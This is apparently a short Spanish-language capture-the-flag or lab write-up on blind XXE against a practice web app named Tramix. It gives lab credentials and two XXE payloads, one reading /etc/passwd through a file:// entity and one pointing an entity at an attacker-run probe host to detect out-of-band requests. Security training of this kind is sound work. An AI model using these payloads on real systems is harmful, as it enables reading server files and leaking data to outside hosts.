Post

XXE a ciegas por interacción fuera de banda (Tramix)


Vamos a ver la aplicación web:

Vamos a darle a Entrar al panel, donde veremos un formulario de inicio de sesión donde nos dan las siguientes credenciales:

  • d.serrano:Tramix-2026

Vamos a iniciar sesión:

Vamos a probar a enviar un nuevo documento y ver como se procesa por atrás:

Vemos que se tramita por XML, vamos a enviarlo al Repeater e intentar un XXE (XML External Entity) para intentar leer el /etc/passwd usando el esquema URL file:// usando una entidad externa:

Acordaros de llamar a nuestra entidad externa en el cuerpo del documento XML. Ejemplo -> &data;

Payload:

1
<!DOCTYPE test [<!ENTITY data SYSTEM "file:///etc/passwd">]>

Vemos que no muestra nada, vamos a intentar apuntar a un servidor nuestro para ver si intenta apuntar a un DTD (Document Type Definition):

Payload:

1
<!DOCTYPE test [<!ENTITY data SYSTEM "https://a49ba8ad70.sonda.tramix.lab">]>


This post is licensed under CC BY 4.0 by the author.